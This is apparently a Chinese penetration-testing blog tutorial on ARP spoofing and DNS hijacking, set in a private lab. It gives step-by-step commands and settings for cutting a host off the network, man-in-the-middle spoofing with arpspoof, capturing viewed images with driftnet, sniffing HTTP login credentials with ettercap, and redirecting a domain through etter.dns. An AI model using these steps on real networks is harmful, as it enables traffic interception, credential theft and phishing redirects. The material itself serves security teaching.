【网安-Web渗透测试-内网渗透】局域网ARP攻击与DNS劫持

目录

一、概念

1、基本概念

  1. 局域网 LAN
    在住宅、校园、办公楼等有限区域,互联多台计算机及设备;同网段下不同设备、不同系统可直接互通。
  2. ARP 地址解析协议
    核心作用是将 IP 地址解析映射为 MAC 地址。局域网通信需同时封装源目 IP、源目 MAC 地址,数据包按 OSI 模型逐层封装后传输。
  3. MAC 地址
    又称物理 / 硬件地址,是网络设备全球唯一标识,出厂固化在网卡中。共 6 字节十六进制,前 3 字节为厂商编号(IEEE 分配),后 3 字节为设备序列号,默认全球唯一。
  4. OSI七层模型

    OSI七层模型的数据传输详解:

①应用层数据封装,将封装好的数据传输到传输层;

②传输层将应用层传递下来的数据包添加上相应的TCP头部信息(源端口、目的端口)后传递给网络层;

③网络层收到传输层传递的数据包后添加上相应的IP信息(源IP、目的IP)后将数据包传递给数据链路层;

④数据链路层收到数据包后添加上相应的Ethernet头部信息(源MAC地址、目的MAC地址)和FCS帧尾后将数 据帧传递给物理层;

⑤物理层收到数据包之后根据物理介质的不同,负责将数字信号转换成电信号、光信号、电磁波信号等;

⑥转换完成的信号在物理介质(网线,光纤,空气)中开始传递。

2、ARP欺骗图解

3、查看arp缓存表

局域网内两台主机在互相通信的过程中,会互相交换自己的IP地址和MAC地址,然后存储到本地的ARP缓存表中方便后续通信。

bash 复制代码
C:> arp -a

二、运行环境

1、目标主机

名称
操作系统 Windows 10
IP 192.168.179.162

2、攻击机1

名称
操作系统 Windows
IP 192.168.179.1

3、攻击机2

名称
操作系统 Kali Linux 2023.4
IP 192.168.179.128

4、WebServer

名称
操作系统 Windows Server 2008
IP 192.168.179.31

备注:WebServer可以时自己搭建的Web服务器。

三、局域网内ARP攻击

1、ARP单向欺骗

可对局域网目标主机进行欺骗,使其断网。单向欺骗能欺骗局域网内单台设备,也可欺骗网关;欺骗网关后,全网主机都会断网。与之对应还有双向欺骗模式。

Step1:开启目标主机,并查看是否能正常访问互联网。

Step2 :开启科来网络分析系统(下载来源),"实时分析"模块选择对应的局域网

Step3 :打开"工具"界面的MAC地址扫描器,得到目标主机的MAC地址

检测结果:

类型 IP地址 MAC地址 网卡厂商
目标地址 192.168.179.162 00:0C:29:3E:61:D2 VMware, Inc.
网关地址 192.168.179.2 00-50-56-EB-0F-0A VMware, Inc.
科来运行地址 192.168.179.1 00:50:56:C0:00:08 VMware, Inc.

Step4:点击"数据包生成器",添加ARP数据包

Step5:在目的MAC地址和目的IP中输入目标主机的IP和MAC地址,源MAC地址任意输即可,源IP输入网关的IP地址。

输入前:

输入后:

①目的MAC地址:对谁攻击就填谁的MAC地址;

②源地址:随意写(避免被攻击方分析还原);

③目标IP地址:对谁攻击就填谁的IP地址;

④源IP地址:网关的IP地址(欺骗目标主机自己是网关)。

Step6:点击发送,勾选"突发模式"和"循环发送"(循环次数改为0);点击"选择"选择对应的网卡

Step7:点击"开始",即可发起攻击

目标主机已经断网!点击"停止"(停止ARP攻击)后,目标主机可恢复网络。

因此,单向欺骗也叫断网攻击。通过对比ARP欺骗前后状态,发现网关地址(192.168.179.2)的物理地址(MAC)不一样了。

2、ARP双向欺骗

双向欺骗属于中间人攻击,攻击机劫持主机与网关的双向流量。除流量劫持外,还可进行 DNS 劫持,修改域名解析结果,将用户访问的网页跳转至钓鱼网站。

攻击机双向伪造 ARP 包,欺骗目标机与网关的互信关系,同时开启路由转发,使目标机流量全部流经攻击机,实现中间人嗅探。

Step1:安装arpspoof(Kali中运行)

bash 复制代码
# 下载 Kali 密钥
$ sudo wget -q -O - https://archive.kali.org/archive-key.asc | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/kali-archive-keyring.gpg
# 更新软件源
$ sudo apt clean && sudo apt update
# 安装 dsniff(包含 arpspoof)
$ sudo apt install dsniff -y --fix-missing

Step2:查看攻击机kali的MAC地址

bash 复制代码
$ ip a

攻击机Kali的信息:

①MAC地址:00:0c:29:6b:18:b2

②IP地址:192.168.179.128

③网卡名称:eth0

Step3:用arpspoof进行双向欺骗攻击

bash 复制代码
# 调用arpspoof对目标主机(192.168.179.162)和网关(192.168.179.2)进行双向欺骗
$ sudo arpspoof -i eth0 -t 192.168.179.162 -r 192.168.179.2

对比欺骗前后的MAC地址:

说明:在Kali中将欺骗指令按Ctrl+C停止。当停止欺骗后,目标主机能恢复正常。

Step4:开启端口转发功能,并再次实施ARP欺骗攻击

bash 复制代码
#开启ip转发,关闭的话把1改为0
$ sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

#查看端口转发是否成功,如果显示1则表示开启成功,显示0则开启失败
$ cat /proc/sys/net/ipv4/ip_forward

# 调用arpspoof对目标主机(192.168.179.162)和网关(192.168.179.2)进行双向欺骗
$ sudo arpspoof -i eth0 -t 192.168.179.162 -r 192.168.179.2

说明:此时靶机可以访问外网,但是靶机的ARP缓存表中的网关MAC地址已经变成了攻击机kali的MAC地址。

3、ARP欺骗------抓取图片

Step1:开启端口转发,并开启arp欺骗

bash 复制代码
#开启ip转发,关闭的话把1改为0
$ sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

# 调用arpspoof对目标主机(192.168.179.162)和网关(192.168.179.2)进行双向欺骗
$ sudo arpspoof -i eth0 -t 192.168.179.162 -r 192.168.179.2

Step2:安装driftnet

bash 复制代码
$ sudo apt install driftnet -y

Step3:开启新的shell执行命令,该命令会自动打开一个shell窗口并获取目的主机所浏览的图片

命令格式:

bash 复制代码
$ driftnet -i <网卡名>
bash 复制代码
$ sudo driftnet -i eth0
# 自定义路径
$ sudo driftnet -i eth0 -a -d /home/kali

相关参数解读:

  • -b:捕获到新的图片时发出嘟嘟声
  • -i:interface选择监听接口
  • -f:file读取一个指定pcap数据包中的图片
  • -p:不让所监听的接口使用混杂模式
  • -a:后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
  • -m:number指定保存图片数的数目
  • -d:directory指定保存图片的路径
  • -x:prefix指定保存图片的前缀名

Step4:在目标机中的浏览器中浏览图片

当目标机图片被浏览时,在kali中,会自动保存图片到本地。

备注:此处为HTTP协议方式;当图片地址是HTTPS方式时,在kali中无任何反应。

4、ARP欺骗------获取账号密码

Ettercap 是基于 ARP 欺骗的局域网嗅探工具,适用于交换网络。可抓取局域网内明文传输数据,检测通信安全,拦截泄露的账号密码等敏感信息。

Step1:找一个网站(http协议的),且支持输入用户名和密码登录

httpbin.org HTTP Basic 认证(简单弹框登录)

bash 复制代码
http://httpbin.org/basic-auth/user/passwd

Step2:开启对网卡的流量监控

bash 复制代码
# 监控eth0网卡的流量
$ sudo ettercap -Tq -i eth0

参数说明:

  • -T文本模式运行
  • -q安静模式
  • -i网卡,后接网卡名

Step3再次访问网站------httpbin.org HTTP Basic 认证

  • 账号:user
  • 密码:passwd

弹出浏览器原生登录框,Base64 明文,ettercap/Wireshark 都能轻松解码。


Step4:在kali中查看登录的用户和密码信息

四、DNS劫持

Step1:修改DNS配置文件

bash 复制代码
$ sudo vim /etc/ettercap/etter.dns

# 添加以下字段:
www.baidu.com    A    192.168.179.31

Step2:打开kali机的ettercap工具

bash 复制代码
$ sudo ettercap -G

Step3:将目标主机和网关分别添加到Target1和Target2中

说明:因双向欺骗的缘故,需添加两个组,即网关为一组,目标主机为二组。

Step4:开启插件


Step5 :选择DNS欺骗插件,点击开始按钮

Step5:在目标机中清空目标机的 DNS 缓存

bash 复制代码
C:\> ipconfig /flushdns

Step6:访问目标机,验证劫持是否成功

bash 复制代码
# 查看DNS是否被劫持
C:\> ping www.baidu.com

总结

通过 ARP 中间人欺骗配合 ettercap 的 dns_spoof 插件,目标机访问或 ping 百度域名时,域名解析结果被篡改,流量被劫持到攻击者指定的 192.168.179.31。

相关推荐
武子康4 小时前
调查研究-153 Cloudflare 能部署网站吗?2026 年完整对比 Vercel / Netlify / 自建服务器
大数据·运维·服务器·人工智能·部署·devops·opc
Zldaisy3d4 小时前
物理测试不是唯一方式!增材制造零部件认证路径正在悄悄改变
大数据·服务器·制造
夜月yeyue4 小时前
KCP 与 UDP 可靠传输
linux·网络·单片机·网络协议·udp·php
一个向上的运维者4 小时前
Docker 自定义网络中容器无法通过宿主机 IP 访问服务的完整排障记录
网络·tcp/ip·docker
utf8mb4安全女神5 小时前
子网划分【概念+实操+理解】
运维·服务器·网络
比昨天多敲两行5 小时前
Linux信号
linux·运维·服务器
码语智行5 小时前
拦截器、接口限流、过滤器、防重发/幂等性功能说明
开发语言·网络·python
sulikey5 小时前
ELF文件中的“节“与“段“,如何与虚拟地址空间中的“分页“和“分段“产生联系?
linux·服务器·elf·虚拟地址空间·分页·分段·elf文件
志栋智能5 小时前
超自动化安全:构建智能安全运营的神经系统
大数据·运维·网络·人工智能·安全·自动化